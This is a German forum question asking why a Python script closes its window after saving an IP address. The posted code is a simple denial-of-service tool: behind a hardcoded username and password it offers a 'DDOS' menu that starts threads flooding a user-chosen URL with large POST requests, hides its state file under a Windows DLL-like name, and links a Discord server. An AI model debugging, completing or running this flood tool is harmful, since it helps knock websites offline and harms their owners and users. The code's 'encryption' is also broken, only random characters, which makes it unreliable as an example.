Python Code Fehler?
Ich habe eine Python Datei der die Ip Adresse speichert in einer Datei die sich in einem Ordner befindet. allerdings nachdem die Ip4 gespeichert worden ist und ich die main.py Datei öffnen will schließt sich das Fenster direkt ohne Rückmeldung. Kann jemand sehen wo das Problem liegen könnte? import os import sys import time import requests import threading import webbrowser import socket import json import random import string def clear_screen(): os.system('cls' if os.name == 'nt' else 'clear') def print_colored(text, color): if color == "red": print(f"\033[91m{text}\033[0m") # Rot elif color == "blue": print(f"\033[94m{text}\033[0m") # Blau def get_ip_address(): """Gibt die lokale IP-Adresse zurück.""" hostname = socket.gethostname() return socket.gethostbyname(hostname) def create_internal_directory(): """Erstellt den _internal Ordner, wenn er nicht existiert.""" if not os.path.exists('_internal'): os.makedirs('_internal') def load_saved_ip(filename): """Lädt die gespeicherte IP-Adresse aus einer Datei.""" if os.path.exists(filename): with open(filename, 'r') as f: data = json.load(f) return data.get('ip4'), data.get('ip6') return None, None def encrypt_ip(ip): """Kryptisiert die IP-Adresse.""" return ''.join(random.choices(string.ascii_letters + string.digits, k=500000)) # 10000 kryptische Zeichen def decrypt_ip(encrypted_ip): """Entschlüsselt die IP-Adresse (dummy-funktion für das Beispiel).""" return encrypted_ip # Hier könnte die Entschlüsselungslogik implementiert werden def save_ip_address(filename, ip4, ip6): """Speichert die IP-Adressen in einer Datei.""" encrypted_ip4 = encrypt_ip(ip4) encrypted_ip6 = encrypt_ip(ip6) with open(filename, 'w') as f: json.dump({'ip4': encrypted_ip4, 'ip6': encrypted_ip6}, f) def send_requests(target_url, packet_size, requests_per_second): """Sendet Anfragen an die angegebene URL.""" bytes_to_send = b"A" * packet_size while True: try: response = requests.post(target_url, data=bytes_to_send) print_colored(f"Request sent: {response.status_code} from {target_url}", "blue") except Exception as e: print_colored(f"Error when sending: {e}", "red") break def main(): clear_screen() # Erstelle den internen Ordner create_internal_directory() filename = '_internal/api-ms-win-crt-verse-l1-1-0' # IP-Adresse überprüfen current_ip = get_ip_address() saved_ip4, saved_ip6 = load_saved_ip(filename) if saved_ip4 is None and saved_ip6 is None: print(f"First time running the script. Saving your IP: {current_ip}") save_ip_address(filename, current_ip, current_ip) # Hier nur ein Beispiel, könnte angepasst werden elif decrypt_ip(saved_ip4) == current_ip or decrypt_ip(saved_ip6) == current_ip: print("IP address verified. Access granted.") else: print("IP address does not match. Access denied.") sys.exit() # Benutzername und Passwort username = input(print_colored("Username: ", "red") or "") password = input(print_colored("Password: ", "red") or "") if username == "M@rcel2!021" and password == "HACked": clear_screen() print_colored("Access Granted", "red") while True: print("[1] DDOS") print("[2] Discord") choice = input(print_colored("Choose an option: ", "red") or "") if choice == '1': target_url = input(print_colored("Enter the URL you want to overload: ", "red") or "") packet_size = int(input(print_colored("Enter the packet size in bytes: ", "red") or "")) requests_per_second = int(input(print_colored("Enter the number of requests per second: ", "red") or "")) for _ in range(requests_per_second): thread = threading.Thread(target=send_requests, args=(target_url, packet_size, requests_per_second)) thread.start() elif choice == '2': webbrowser.open(" https://discord.gg/6JKHn7Trqw ") # Füge deinen Discord-Link hier ein else: print_colored("Invalid selection. Please try again.", "red") else: print_colored("Incorrect username or password!", "red") if __name__ == "__main__": main() Danke